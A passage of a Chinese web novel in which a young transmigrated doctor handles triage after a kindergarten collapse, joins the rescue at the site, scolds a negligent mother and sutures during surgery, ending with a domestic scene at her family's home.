南栀丝毫不气馁,“做什么手术都要多练嘛!我肯定能行。” 阮乔给她做证,“我们家栀栀天天在家拎水桶,你看看这肌肉。” 她捏了捏南栀的手臂。 “我妈的手术就是南栀给做的,我妈医院的院长都夸她做得好,她天赋很高的!” 陆嘉述的眉头一挑再挑,“是吗?我以为小随的眼光一直不太好。” 南栀奇怪道:“一直?” “是啊,”陆嘉述掰着手指头算,“育红班那会儿就喜欢隔壁的小姑娘,人家不搭理他,后来小姑娘盗窃入狱了。” “上小学又和同院里的女生走得近,总是追在人家屁股后面跑,读高中时,女生跟人家私奔了。” “高中时似乎也有有好感的女生,结果是个感情骗子,只想要他兜里的零花钱。” “后来还喜欢老韦家的孩子吧,那小姑娘其实挺不错的,人很上进,她去过我家几次,每次去都追着让小随赶紧去学习……说实话我都快听疯了。” 所以不管陆随说自己喜欢谁,她都不惊讶不奇怪! 南栀&阮乔:“……” 原来学长现在的身体还有如此精彩的历史。 正巧陆随敲门进来,“昨天送过来一个先天性心脏病的小朋友……” 南栀和阮乔看着陆随露出诡异的笑。 陆嘉述严肃地看病例,好像什么话都没说过。 陆随:“?” 阮乔起身,“陆医生平时看起来正经,原来有这么丰富的经历。” 事情虽然不是学长做的,但南栀的感觉也很奇妙。 她从小到大,都没有喜欢男生意思,学长就……不对,学长现在的身体就喜欢过好几个人了! 陆随坐到南栀旁边,“你们在笑什么?” 陆嘉述说:“无法无天,进门都不知道跟我打招呼?” 陆随问:“您跟她们说什么了?” 陆嘉述有点儿心虚,“我可没把你那些乱七八糟的事告诉她们。” 陆随:“” “就是喜欢这个又喜欢那个的事,我没说啊。” 陆随:“……” 有她是陆随的福气。 陆随正要为自己辩解几句,急诊室打来电话,陆嘉述不慌不忙拿起话筒,“哦,诈骗科,有什么事?” 电话那头爆发巨大的吼声,“谁骗你了!!赶紧来急诊,有一个幼儿园塌了,孩子全送过来了!!” * 急诊室已经乱作一团。 所有医生、护士都在忙着救人,他们将情况严重的小朋友送进抢救室,很快门外又会再来一批。 急诊前的走廊人山人海,从未这般热闹过。 孩子的哭声和大人的哭声混在在一起,不绝于耳。 医院内的广播响起,“请神经外科、神经内科、心外科……” 康宁医院的广播覆盖率不高,急诊科的电话打得飞起。 打电话找不到人,就得跑过去找人,护士们已经都跑出去找医生了。 受伤的孩子太多,急诊室这点儿人根本不够用。 因为受伤的都是孩子,所以急诊室第一时间找儿科来帮忙。 大家都知道陆嘉述还在儿科。 南栀几人用最快的速度跑过来,便看到这一惨状。 孩子们的身上都有擦伤,走廊四处都有血迹,还有已经撕成碎片的衣服。 大人们围着自家孩子痛哭,还有一个头部受伤的大人,呆呆地坐在地上,“我不让他们睡觉就好了,他们如果都醒着,都能跑出来,不睡觉就好了……” 南栀冲过去检查老师的伤势。 她双手已经磨出血泡,头部有伤,失血过多,情况危急。 南栀道:“你得赶紧去处理伤口,不要坐在这里。” 老师摇头,“先救他们。” 其他医生手忙脚乱地救人,时不时便有撞在一起的情况发生。 陆随道:“这样下去可不行。” 南栀只好叫住一名急诊科的医生,“我听说是幼儿园倒了,可能还有孩子被掩埋,先把老师带去急救,救人可能还需要她来帮忙。” 医生点头,“儿科的?陆教授呢?” 不远处传来陆嘉述暴躁的声音,“就不能拿个轮椅把我推过来?!” 欺负她这把老骨头! 南栀问:“医院是不是没同时接诊过这么多病人?” 现在的情况实在混乱。 医生无语道:“哪有幼儿园天天塌的?听说是隔壁施工被连累了,赶紧看病吧,能救一个是一个。” “等等,”南栀叫来几个医生,抬高声音道,“不管是哪家医院,都不可能同时接这么多人。我们可以根据孩子们受伤的情况分级,情况比较轻的,转到其他医院。情况严重,但不急于一时的,转到儿童医院。必须立刻手术抢救的留下。” 几个医生面面相觑。 医院还没出过这种乱子,他们都没经验。 陆嘉述走过来,听到南栀的话,多看了她急眼,接着道:“还不去做?人都聚在这里,等死?!” 南栀叮嘱,“如果有断肢,一定要保存好,最好用牛奶保存。” 陆随已经先一步去判断孩子们的伤势。 急诊医生把陆嘉述请到抢救室,“有几个孩子的情况比较严重,您来看看。” 陆嘉述用最快的速度走向抢救室。 急诊医生干着急,“您快……” 陆嘉述瞪过去。 急诊医生:“……” 进抢救室前,陆嘉述回头看了一眼。 南栀和陆随正在给受伤的孩子做清创。 “清创手术情况不严重的,不需要局部麻醉,家长们看好自己的孩子,也不用太过紧张,不是多复杂的情况。” 她将无菌纱布填入伤口,再清洗伤口周围。 “清洗时用肥皂水,麻烦有时间的人再帮忙准备些肥皂水。如果有油污,可以用松节油清洗,清洗后用0.5%的碘伏擦拭伤口周围皮肤,擦三遍,三 到五分钟,之后要把残留碘伏擦干净,伤口内用氧化氢和生理盐水交替冲洗,大家动作都轻一点,清理时要检查各层组织,异物和坏死组织都要清干净,然后再逐层缝合。” 有些来帮忙的医生不了解情况,南栀是说给他们听的。 现在人还没分流走,被掩埋后灰尘太大,尽量先清理清理。 “有不能确定的情况可以找我或者陆医生,我们来处理。” 刚赶到的医生们着实愣了好一会儿。 他们还没被看起来刚成年的孩子领导过呢。 他们拉住一个正满医院跑的急诊医生,“这谁啊?” “你管她是谁?能把麻烦解决掉,她就是我爹!赶紧去帮忙!” 医生:“……” 另一人看向南栀,顺嘴问道:“爹啊……” 南栀:“?” “啊不是,这边这个小朋友只有擦伤,可以送到其他医院吧?” 南栀点头。 在南栀和陆随的引导下,情况不紧急的小朋友都被送走。 这时,吉姚气喘吁吁地跑进来。 她呼吸急促,嘴唇苍白,见到穿白大褂的就拉住,“蓓蓓在哪?蓓蓓呢!” 南栀认出她就是曾带孩子来做检查,但又坚信女儿没病的母亲。 吉姚也看到南栀,她扑过去,“蓓蓓在哪?!” 南栀冷静道:“我没有看到她。” “怎么可能!”吉姚崩溃地吼道,“他们说人都送过来了,怎么可能没有蓓蓓?!她是不是死了,是不是没救过来?!” 陆随起身拉住吉姚,“同志,请保持冷静,她确实没有看到你说的人,你慢慢找,不要着急。” 吉姚却更疯了,“是她记恨我们,她故意不告诉我蓓蓓在哪里!” 陆随脸色微变,“请你注意措辞。” “我说的都是实话,她就是故意的!她让我带蓓蓓去做CT,我不愿意!怎么,你们医院还强买强卖?” 南栀实在没时间和吉姚纠缠。 老师的情况需要做手术,现在还在排队。 南栀转身去找老师。 吉姚想去追南栀,被陆随挡住,陆随提醒道:“你现在是在耽误其他小朋友,这么多条人命,你耽误得起吗?” 周围瞬间投来怨恨的目光。 陆随找到伤情不重的孩子家长,“不好意思,麻烦看住她,我们得以孩子为重,现在实在人手不够。” 他们的孩子都在同一个幼儿园念书,要么是邻居,要么就是同事,几乎都认识,这些孩子也是他们看着长大的。 现在孩子们出事,哪还有比这更重要的事,两个家长死死按住吉姚。 南栀去问过才知道,不是所有孩子都被救了出来,现在起码还有五个人被掩埋在废墟下。 房子塌得太突然,没留一点儿余地。 如果还有人被掩埋,现场一定还在救援。 临川市的救援策略很一般,可以说从上到下都一塌糊涂。 南栀找到陆随,“现场还有孩子没救出来,我担心救援不正规,想先找救护车去一趟,以防万一。” “被掩埋的时间长了,伤情只会更重,应该有医护人员过去。”陆随要留下来随时准备做手术,他说,“这样吧,我去联系院领导,找人和你一起过去。” 就在这时,急诊科医生急匆匆跑出来,“南栀是谁,南栀在吗?” 南栀举起手。 急诊科医生瞟了她一眼,“哦,你就是肺栓塞那位。” 他还记得南栀,当时南栀提醒他们患者可能是肺栓塞,他以为是阮乔提醒的,后来才知道是刚来儿科的小姑娘。 急诊科医生说:“有个孩子被异物刺入颅内,需要做开颅手术,情况很不好。” 南栀:“?” “陆教授主刀,孩子已经送到手术室,陆教授要你过去。” 南栀指了指自己,“我?” 开颅手术是大手术,她敢帮忙,都没人敢让她动手。 急诊科医生说:“她说要你过去学习,具体的情况我也不知道,你在里面站着就好。” 陆随低声道:“你不是想做外科医生吗?好机会。” 南栀愣了一下,想到她和陆嘉述提过儿外的事。 当时陆嘉述泼了一缸冷水给她,说康宁医院的情况开不了儿外。 现在又…… 陆随说:“她想教你。” 南栀嘴角浮起笑意。 儿外第一人愿意教她,当然再好不过,但是…… 南栀的嘴角又慢慢放下。 她看向躺在过道上没来得及被送走的孩子,逐渐冷静。 南栀道:“多谢陆教授,我很想跟着她一起学习,但今天情况特殊,我在外面更能帮得上忙。” 急诊科医生一怔,“不去?!” 如果陆教授愿意教他,他跪着都要爬过去,南栀竟然拒绝?! 陆随瞬间理解了南栀的意思,“也对,你先去现场,剩下的交给我。” 南栀点头,往外跑去。 吉姚死死盯着南栀,“我也要去幼儿园!” * 幼儿园的教室面积其实不大,倒塌后看起来也只是一小堆,但孩子们的年纪太小,没有自救能力。 现场还有许多人在施救,都是住在附近的人,他们自发地搬运砖头、钢筋,试图给被掩埋的孩子挖出一条逃生的路。 南栀找到赶来救援的消防员和派出所民警。 “我是康宁医院的医生,我们医院派了一辆救护车来,如果发现伤者,请先叫我去看看,再进行救援。” 现在的救援方式很不规范,也没有配套设施。 消防队员正在愁如何安置孩子,看到南栀来了,松口气,“太好了,我们刚刚还听到孩子的哭声。” 一个挖了将近一个小时的消防员拿着折断的铁锹走出来,“队长,就没有更好点儿的工具?” 没有生命探测仪、没有液压剪、切割机,什么都没有。 南栀看着这原始的工具陷入沉默,忍不住唠叨道:“一定要注意稳定废墟结构啊,如果救援过程中再坍塌,会造成二次伤害的。” 郁格弯腰看南栀,“哪来的小不点?” 南栀的身高不矮,是郁格太高,好像和陆随差不多。 陆随已经是大高个了。 这会儿大部分人营养跟不上,个头没那么高。 郁格看到南栀的胸牌,“你几岁,能当医生?儿科医生?原来儿科的医生也必须是儿童?” 队长生怕小姑娘被郁格这混小子弄哭,训斥道:“你嘴巴闭紧点!” 要是把医生气跑了,他非得扒掉郁格一层皮! 南栀却不紧不慢道:“就和我以为消防员都该有肌肉是一个道理。” 她打量郁格的身材,惋惜道:“原来消防员要竹竿就够了。” 郁格:“??” 他是竹竿? 不是,他哪竿了?? 郁格抓着衣摆就要脱衣服,“比比肌肉啊?!” 队长把郁格踹走,“赶紧干活!” 南栀走过去,帮他们固定木桩,撑起废墟。 她看着年纪小,力气倒是很大,帮着搬重东西不在话下。 甚至走了好一段路,郁格都有些累了,南栀的神色还是没变化。 郁格对南栀生起些好奇心,“你力气还挺大。” 南栀说:“外科医生需要体力,要经常练。” “这还要体力?” “大型手术可能要持续好几个小时,体力不好,手术刀都拿不稳,患者怎么办?” 郁格惊讶道:“还有几个小时的手术?!” 他以为都是推进手术室,刷刷两下就好了。 南栀说:“原来做消防员还不需要脑子。” 郁格:“……” 这谁家气人的死丫头跑出来了?! 几人又找到两个孩子。 他们都在出口处,是没来得及跑出来的。 南栀给他们做了检伤分类,如果按照红、黄、绿、黑标分,一个是黄标,一个是绿标,运气都不错。 “小女孩骨折了,我给她固定好,直接送到……送到恩德医院,那边人少些。小男孩只有轻微擦伤,也送到恩德好了,以防 万一。” 救护车将两个孩子拉走。 队长表扬道:“有你在我们可省事了。” 南栀道:“这种情况有医生在是最方便的。还有几个小朋友,我们医院的救护车还会再回来。” 队长说:“还是你们医院靠谱。” “康宁?”郁格道,“挺差劲的啊,我都没听说过有推荐康宁医院的。” 队长:“……” 他狠狠瞪了郁格一眼。 南栀说的对,这小子就是没脑子! 人家康宁医院的医生跑来忙前忙后,还帮着一起抬水泥砖头,这混小子竟然说这种话! …… 就算是实话,也不能当着人家的面说啊! 队长讪笑。 南栀面不改色,“现在没听说过,以后肯定会听说。” 队长:“?” 小姑娘还挺有志向。 南栀对郁格说:“记得常来啊,相信我的技术。” 队长:“……” 这美好的祝愿他是不敢接。 吉姚骑着自行车姗姗来迟。 她来不及管自行车,扔到路边跌跌撞撞往废墟前走。 “怎么会这样?好好的房子怎么会倒了?蓓蓓!你在哪啊蓓蓓?!” 队长上前拦住吉姚,“你是家属?你要冷静,我们还在找人,一定尽全力找到所有孩子。” 吉姚抓着他的衣服追问:“房子怎么会倒?!” “原因很多,”队长说,“这片的平房都是私人盖的,本身就有很多问题,而且幼儿园房顶还加装了,在坍塌之前已经有大裂缝,加上隔壁要把房子拆了重建,所以……” 吉姚险些晕倒,“蓓蓓……蓓蓓怎么会这么倒霉?!” 这时一个一直参与救援的大爷走过来,“小吉?你别着急,我挖的时候听到哭声了,挺像你家蓓蓓的。” 吉姚打起精神,“她还在哭?那就是还活着对不对?太好了,蓓蓓还活着。” 大爷说:“是啊,小孩挺可怜的,出事的时候我就在房后,人家老师跑进去救人了,我就听见她躲在窗边哭,说什么看不见看不见的,哎,这窗户和门是相反的方向啊,这孩子咋不往门口跑?” 第50章 第50章缝啦 听到大爷的话,南栀看向吉姚。 吉姚呆呆地仰着头,暖风卷起尘埃,尘土飞扬,她死死瞪着眼睛,目光错愕。 队长找来一件旧衣给吉姚披上,“你情绪太激动,先休息吧。” 恍惚之间,吉姚的脑海中只有鲁蓓蓓被困在黑暗中的画面。 她明明已经说过她看不清。 医生给看了,让她去做检查,她也没去。 她觉得孩子这么小,一直好好地养着,不会有问题。 发生意外时,鲁蓓蓓在午睡。 她知道幼儿园的习惯,如果午睡,会把灯关掉,还会拉窗帘。 教室的门是木头的,不透光。 最亮的地方就是窗户附近,窗帘不能完全遮光。 吉姚突然看向南栀。 南栀道:“她年纪还小,下意识找有光亮的地方,不难理解。” 郁格低声道:“她都这么惨了,你就别说这话了。” 南栀说:“灾难发生前,她去过医院。” 事后南栀也联系过她,要她去其他医院检查,她仍然拒绝。 她固执的不相信女儿、不相信医生,导致鲁蓓蓓在黑暗中迷失方向。 其他孩子都在门附近,只有鲁蓓蓓在窗户旁。 那是教室的最深处。 郁格既气吉姚,又心疼她,“是不对,但……那也算了吧,现在找到孩子要紧。” 南栀点头,“当然是找到孩子更要紧了,哭闹没用。” 郁格:“……” 这丫头怎么一点儿都不会安慰人的? 大爷也说:“不过窗户那边可不好翻啊,唉,孩子眼睛有问题,该早点儿带去看医生啊,如果眼睛没问题,说不定现在已经找到孩子了!” 这句话像压到骆驼的最后一根稻草。 吉姚崩溃大哭。 南栀说:“可真奇怪,现在才着急,着急也没用啊,得把孩子找出来。” 她的语气一点儿都没有责怪的意思。 郁格也看出她是在陈述事实。 但就是格外扎心。 南栀不想看吉姚崩溃,继续帮着救人。 时间一分一秒过去,靠近门口的另外两个孩子也被找出来。 大爷所说的曾听到哭声的地方,也再也没有声音。 所有人的心都悬在空中,甚至不看细看废墟下的东西。 他们害怕看到的是孩子的尸体。 南栀还在处理两个孩子的伤势,“埋的时间太长了,不过幸好不是高楼,如果是高楼,全都砸进去,真救不回来。康宁医院那边没那么紧张了,两个人都送过去吧。” 郁格问:“送到儿童医院得了,那边比较好吧?” 南栀说:“有陆教授在,现在的康宁医院,儿科是最好的。” 郁格拧眉。 南栀接着说:“将来有我在,康宁医院的儿科,还会是最好的。” 郁格:“……” 他抬头看天,“没牛在飞啊。” 再看南栀,一点儿吹牛的意思都没有。 郁格:“……” 真厉害,吹起牛来脸不红心不跳,都不用打草稿。 向南栀学习! 临川市的天气不太好,天气预报有雨。 天气预报经常不准,今天倒是报对了。 太阳刚下山,乌云聚集,远处传来轰隆隆的雷声。 大家没有离开,反而加快速度找人。 若是孩子淋了雨,情况就更糟了。 但天黑后救援困难,照明就是大问题。 这会儿临川市好多地方都在限电,幼儿园附近连路灯都没有几个,大家只能拿着家里的手电筒出来找。 这会耽误救援。 南栀冒着雨四处看去。 救护车刚开回来。 南栀跑到救护车旁和司机说了几句,司机开车后退一些,打开大灯照向废墟。 郁格眼前忽然亮了些,所有人都看向南栀。 郁格:“她这脑子转得是快,是不是在医院偷偷补脑了?” 队长骂道:“多跟人家学学,只会耍嘴皮子!” 队长去找消防车如法炮制。 雨越下越大。 大家都是淋雨工作,南栀也没心情顾到这些。 直到头顶多了一把黑色雨伞。 砖头沾了雨水,太滑,南栀这几步路走得跌跌撞撞。 陆随揪住南栀的衣领,把她扶好,“休息休息。” 南栀看了眼陆随,嘀咕道:“怎么总拽领子。” 陆随微笑,“和别人学的,这方法挺好用。” 南栀愤愤不平,“怎么会有这种人!太过分了!” 陆随保持微笑。 南栀:“……,难道这个人是我吗” 在陆随还是“卫天”的时候,她好像确实…… 南栀:“怎么会有这么记仇的人!!” 郁格听到声音,看向南栀。 小丫头一下午都安安静静的,这会儿倒是激动起来了。 陆随说道:“奶奶还在做手术,箫珵也在台上,我现在没什么事,我先替你,你休息休息,等雨小了再过来。” 南栀拒绝,“你刚康复,还是你休息吧。” 她的拒绝没有作用。 陆随把她揪到空地上。 南栀试图再走过去,陆随抬起胳膊拦住,看起来明明没用力,但却像铜墙铁壁。 南栀蹲下往外钻。 陆随干脆把她抱起来直接放到救护车的副驾上,“我带了吃的,先填饱肚子。” 南栀还想反抗,陆随脱下衣服,将她牢牢捆住。 南栀:“?!” 陆随满意道:“个头高、力气大就是不错。” 南栀:“……” 她也捆过“卫天”?? 陆随把伞交给南栀,转身去干活。 司机羡慕道:“你俩感情真不错。” 听说陆医生和这位小医生已经订婚了。 这边在羡慕,那边的南栀—— 她一定要比陆随长得还高!! 气!炸!了! 一个小时后,终于有人挖 到已经昏迷的鲁蓓蓓。 孩子额头滚烫,有铁三角刺入腹部,情况很糟糕。 陆随和南栀做了简单的处理,救护车飞奔到医院。 刚好陆嘉述结束了上一台手术。 急诊一看到这个情况就皱眉,“陆教授刚做完一台手术,她年龄大了,再坚持一台有点儿困难,唉,先推去做CT吧。请创伤外科、血管外科、感染科、麻醉科的医生过来。” 陆随扫了一眼鲁蓓蓓的腹部,“位置不太理想,可能伤到内脏,不过出血量不大。” 南栀说:“灾难发生前,她曾有视力下降的情况,我在她的玻璃体表面观察到灰色圆环,怀疑是囊虫病。” “还有囊虫病?!完了完了,叫眼科也过来,不会影响其他器官吧?!” 吉姚忽然“扑通”跪倒,“医生,求你救救蓓蓓吧,之前的事是我的错,是我不对,你大人不记小人过,千万别跟我计较,救救蓓蓓好不好?” 南栀示意急诊赶紧带鲁蓓蓓去检查。 等人离开,南栀才看向吉姚,“我知道现在应该安慰你,但我不太想。” “你可以不相信我,但不应该忽视孩子的感受。” “的确会有小朋友因为不想上学装病,但你认为,只需要揭穿他没病就够了吗?不用知道他为什么不想上学?” “你带孩子辛苦、不容易,但被你生下来不是她的错,也不是你的错,我能体谅你的不容易,但希望在身体方面,你不要再拿着你的不容易和身体健康与否混在一起,生命只有一次,死了就什么都没了。” 在废墟里挖掘时,南栀其实有过气愤。 说句不好听的,如果今天吉姚是带鲁蓓蓓去做检查,鲁蓓蓓都能逃过去。 但一个单亲妈妈辛辛苦苦地带孩子,再重的话她也说不出口了。 她只希望吉姚能明白,他们离婚不是鲁蓓蓓的错,就算不喜欢鲁蓓蓓的生父走得近,也该正确引导。 陆嘉述还没来得及脱掉手术服,她听到动静走过来,就看到南栀板着脸教训人。 陆嘉述频频摇头。 陆随走过去扶着陆嘉述,“孩子的情况不好吗?” 陆嘉述说:“这种训人方式不太解气,南栀这孩子退化了。” 陆随:“……” 为了光明正大骂人而奋斗一生的陆教授哦。 幼儿园出现意外,各个科室的医生都在加班。 虽然早已过了下班时间,但医生们来的还是很齐全。 箫珵也下了手术赶过来,他板着脸,把南栀拽到一旁,“你一个人去现场了?淋雨了?喝过热水没?回家得洗热水澡,你家能洗澡吗?要不我带你去招待所或者澡堂先冲个热水……” 陆随拧眉看过来。 去招待所?? 去澡堂?? 他带着南栀?! 箫珵训道:“你想去我不拦你,但你也得爱惜自己的身体,你有三长两短,我怎么交代?那房子都塌了,安全吗?你就把陆随往里推得了,还非要自己上!” 陆随走过来,古怪地看着箫珵。 箫珵:“我和南栀说几句话,你过来干什么?” 陆随看了看南栀,又看了看箫珵,“我未婚妻怎么样,需要你关心吗?” 箫珵:“……” 南栀:“……” 南栀轻声道:“陆医生,其实我和萧医生是远房亲戚。” 她努力把陆随往外拽。 陆随甩开她的手,随手丢到墙边,“我傻吗?” 南栀:“……” 完了完了,打不过陆随了。 她一定要向祁院长拜师学艺!! 箫珵怒道:“你干嘛?我和她的事还要你管?!” 陆随:“?” 动静越来越大。 就地开会讨论鲁蓓蓓病情的医生们看过来。 “都这会儿了,这仨人在干嘛?抢女孩?” “那是陆医生和萧医生?这俩心外的宝贝,看上同一个姑娘了??” “嚯,那可有好戏看了。” 陆嘉述扫向几人,“还有心情看热闹,看来鲁蓓蓓的情况不算危急。” 医生们:“……” 在陆嘉述面前,从科室主任到主治医师,包括跑来关心患者病情的祁院长都乖乖站好。 陆嘉述指着三人说道:“虽然情况不危急,但在这时候搞内部分裂,绝对是不可取的,一定要批评。祁院长,扣工资,扣他们三个的工资!算了,南栀的就别扣了,陆随的工资扣到我的账上!” 祁院长:“……” 医生们:“……” 箫珵和陆随还没掰扯完。 若再吵下去,这俩人可能真要打起来,那就闹大了。 南栀试图用患者的伤势拉回他们的理智,“鲁蓓蓓还没手术呢。” 陆随、箫珵一起看过来,“我是心外的!” “你别学我!” “是你学我吧?” “你……” 南栀捂住耳朵,嘀咕道:“早知道就不该和你俩有牵扯。” 陆随安静了。 箫珵不可置信道:“你不想和我有牵扯?!” 南栀赶紧说:“当然不是,只是陆随他……” 陆随脸色越来越差,他冷冰冰道:“哦,是不想和我有牵扯,但还要和他保持联系。” “不是不是,”南栀手忙脚乱好一会儿,一咬牙,把箫珵拽过来,“学长,这是我哥,真的。” 箫珵:“……” 就这么说出来了?? 她就不怕简渊打死他??! 陆随:“……” 他的表情从冰冷逐渐过渡到惊悚,最后挑着眉头问:“你说的,是你21世纪没用的哥?” 南栀连连点头,“所以你们不要再吵了,你们是室友,难得在其他空间遇到,这是一种缘分,这……” 陆随嗤笑,“就是因为他,我才和你来到这里吧?” 如果南栀没有跟踪陆随,没有发生火灾爆炸,他们怎么会过来? 箫珵的面具被拿走,莫名觉得矮了陆随一头。 上学那会儿就这样,现在还…… 箫珵努力找回气势,“总而言之,反正……南栀是我妹妹,你想娶她,不可能,我不同意。” 陆随语调极怪,“现在有你说话的份?” “你说谁呢?” “说你。” “怎么就没我说话的份了?!” 南栀:“……” 吵得她头痛。 陆嘉述喊道:“南栀,过来,别理那俩蠢货。” 南栀趁机逃走。 陆嘉述道:“下午的手术,陆随找人录像了,你空下来去找他要带子,回去自己捉摸,有不懂的地方来问我。” 其他医生羡慕地看着南栀。 看陆嘉述的意思,是打算教南栀了。 被泰斗级人物教学,他们做梦都不敢想啊。 能嫁进陆家真好。 麻醉医生小声说道:“原本没想教的,今天才打算教,估计不是因为她和陆随的关系。” 不是因为关系,那就是…… 几人重新打量南栀。 那就是真有天赋喽? 手术 方案很快确定好。 陆嘉述不主刀,但会一起进手术室。 南栀也进,她得学习。 等检查结果出来,就连夜做手术。 十分钟后,走廊里的争吵声渐渐停下来。 底气一直不太足的箫珵被陆随气得够呛。 上学时陆随就气人,现在更气人! 箫珵说不过陆随,转身向南栀嘀咕,“我看你以后别跟这种人……” 身后空空如也。 “呃,他们人呢?” 陆随:“……” 不需要心外的手术,就这样把他们抛弃了?? * 给鲁蓓蓓进行手术的过程,陆嘉述一直在给南栀讲解。 手术的准备、注意事项、术中可能遇到的问题,包括术后护理。 南栀认真听着。 “从CT结果来看,有肠管疝口,这就要注意是否有嵌顿风险。左腹部肠壁点状气体密度影,估摸着是穿孔了,肠壁积气。左侧输尿管L4水平处显影……唉,伤到输尿管了,幸好泌尿外科的还没走。” 这场手术需要多个科室会诊、协作。 他们每进行一步,陆嘉述就会讲解一番,还会提到她处理过的类似病例。 台上不忙的医生护手听得眼睛都直了。 这可是他们都没听过的疑难杂症! 别说是他们,估计就连几位院长都没听过,其他医院的医生也都没听过! 手术一步步顺利进行。 眼科的CT结果最后才出来,片子被送到手术室。 陆嘉述接过来一看,“呦,真是囊虫病。” 她看向南栀,“看的挺准啊。” 南栀说:“其实有时候都是直觉。” 病人们不会按照教科书生病,一种病可能有很多种症状,一种症状可能符合很多种病的表现。 陆嘉述道:“这还真叫你说准了,有的时候医生最需要的就是直觉。这就和警察办案一样,他们要找到小偷,咱得找到病因,可能还需要一遍遍排查,这会儿你的直觉如果准,是不是省事多了?所以,相信你的直觉。” 南栀连连点头。 今天陆教授提到的病例她都要记下来! 来做手术的几名医生都是老手,在陆嘉述的指导下,手术顺利完成。 最后的缝合,陆嘉述看向南栀,“听阮乔说,你缝合得不错?” 南栀说:“应该挺好。” “敢去试试吗?” 南栀点头。 医生们:“……” 一个敢提议,一个敢答应。 主刀无奈道:“教授,这会儿就别让新手来试了,她都还没练过呢。” 南栀说:“我每天都有练习的。” “问题是我们也不知道你的水平,哪能让你直接在孩子身上动手?” 陆嘉述奇怪道:“你们都没第一次?这不就是一步步练出来的?” 主刀:“……,关键是,我也没见过她练习,您就别为难我了。” 陆嘉述叹气,“果然今时不同往日,要是放在从前就好了。” 主刀:“?” “在从前,我就能找来尸体让你练手,现在都成了法医的活儿了,唉!” 主刀:“……” 再说下去,真得把尸体拉过来。 主刀让出位置,“咳,先试试,只能是试试,要小心,不行还是得我来。” 南栀兴致勃勃走过去。 医生们好奇地看着她。 现在大家都知道了,这是陆嘉述决定要栽培的小医生,不知道有什么本事。 南栀熟练地拿起缝合用的针线,简单看过创口,便目不转睛地干起活儿来。 还是和上次一样,她最开始的速度只能说是正常,但没两下手速便飞快,主刀都来不及再叮嘱几句。 看到南栀的手速,主刀惊恐万分,他想提醒南栀要小心,可这手速惊得他说不出话来,等他憋出几个字时,南栀已经缝好了。 南栀松口气,“主任的手术做得真好呀。” 主刀:“……” 其他几人一起凑过去看。 除了漂亮还是漂亮。 麻醉医生抬头,“第一次?” 南栀摇头。 麻醉医生放心了。 他就说怎么可能有人第一次就做到这种程度,就连陆教授都不能吧? 南栀说:“前不久已经缝过一次了,这是第二次。” 麻醉医生:“……” 其他人更是神色复杂。 麻醉医生,只管麻醉,他们可…… 他们可是被抢饭碗了啊!! 哪来的新人,敢说自己缝过两次就缝成这样?! 陆嘉述这才起身看了一眼,点头,“凑合,继续练,缝得好,伤口愈合得就快,也不会留疤。别以为疤痕不重要,留疤心情差,照样影响健康。” 医生们:“……” 他们都不见得能缝得这么好。 陆嘉述看向几个医生,“这里面有几个人缝得像蜈蚣,多改进。” 医生们:“……” 又是被打击到的一天!!【魔蝎小说 mo xie xs .c om】 50-60 第51章 第51章偷钱 因为幼儿园的事故,康宁医院所有人都在加班加点,南栀更是熬到早晨六点,该安顿的孩子都安顿好了,她才回家。 南明杰已经去工作,奶奶和黄春兰坐在院子里择菜。 小院面积不大,奶奶一直想在院里种点儿辣椒、茄子,但安置鸡笼后就放不下了。 两个人坐着也很拥挤。 这房子是黄夏兰找来的,原来的主人不在国内,不是他们家的房子。 等临川市推行房改后,单位分房就会慢慢变成商品住房,房子与他们就更没关系了。 南栀这几天有考虑过他们一家人的住处。 总靠黄夏兰是不可能的,黄春兰也不会同意。 南栀去医院打听过,医院也有家属楼,但是早就分完了,南栀才到医院,不是主治医师,也没有工龄,分不上医院的房。 想要房子,就只能找个好点儿的地段自己买。 南栀把最近赚到的钱交给黄春兰。 “妈,这些钱你都收着,我以后再想想办法,早点儿搬家。” 黄春兰惊讶道:“上次已经给了很多,这些是哪里来的?” “我又写了几篇笔记,您就别操心了。” 笔记只卖给临川市的学生,虽然在一时间很受欢迎,但市场太小,最近韦宁雨正在捉摸其他赚钱的法子。 南栀还惦记着别的事,“妈,你知道图书馆吗?临川市有图书馆,你要是想看书的话,我可以给你办一张借书证,免费借,不要钱的。” 她还记得黄春兰曾经成绩很好。 如果不是为了供养三个妹妹,她可能也能靠成绩走出大桑村。 黄春兰一时反应不过来,“看书?我吗?” “里面什么书都有,看看小说也挺好的,现在不是有几本言情小说特别火吗?看看家长里短的也行。” 南栀觉得看言情小说应该不分年龄。 她读大学时,好几个舍友的妈妈都在听霸道总裁爱上我。 南栀也听过几次,还挺有意思的。 先让黄春兰适应看书,再看看她有没有想继续学习的想法。 南栀想弥补她没能上学的遗憾。 南栀叮嘱完便回到自己的房间,她发现临川市的救援很成问题,没有一套系统的方案,医生在救援方面的知识也很匮乏。 甚至连标准的心肺复苏都没普及。 南栀坐在书桌前,先把整件事的经过记录下来,再逐一分析救援过程中存在的问题。 甚至还帮消防队做了总结。 她写了足足两个小时,人命关天,不能懈怠。 写好后,南栀把钢笔随手一放,倒在床上呼呼大睡。 黄春兰和奶奶偷偷过来看南栀。 “这孩子的变化也太大了。” “忽然就爱看书了,也不顶嘴,真是怪了。” 黄春兰担忧道:“是不是累傻了?” 奶奶点头,“八成是。” 南栀被贴上“傻子”的标签。 这一觉睡得时间很长,暮色降临,南栀才被黄春兰摇醒。 “今天还值夜班吗?陆随来了。” 南栀大脑停顿片刻,猛地坐起来,“谁来了?” 奶奶已经把陆随领到房间门口,“醒了醒了,听见声音了。” 房间内的南栀还在发懵。 她打量陆随好一会儿,才稍微清醒,黄春来起身道:“在家里吃过晚饭再走吧,饭马上就好了。” 奶奶笑眯眯地看着陆随。 黄春兰把她拉走。 两人来到厨房,奶奶说:“这小伙子看着还是很不错的。” 黄春兰叹气,“可他家里条件太好,上次去一趟饭 馆花的钱,都够咱们一家人吃好几顿饭了,结婚这事,还是得讲究门当户对,才不会被欺负。” 奶奶说:“可这小伙子长得不错,漂亮。” 黄春兰说:“虽然他们家现在看起来对南栀很满意,但如果就看中咱家穷,想让南栀去照顾他们一大家子人怎么办?” 奶奶说:“可这小伙子长得不错,俊俏。” 黄春兰:“而且啊……” 奶奶:“可这小伙子……” 黄春兰看向奶奶。 奶奶:“……” 她捂住嘴,嘀嘀咕咕道:“你是不知道找个漂亮的男人有多难。” 黄春兰:“您和爸爸结婚,也是看中他的外貌?!” 奶奶惊讶道:“他的鞋拔子脸,谈得上漂亮?” “这不就得了!” 奶奶惋惜道:“所以这是我一生的遗憾。” 黄春兰:“……” 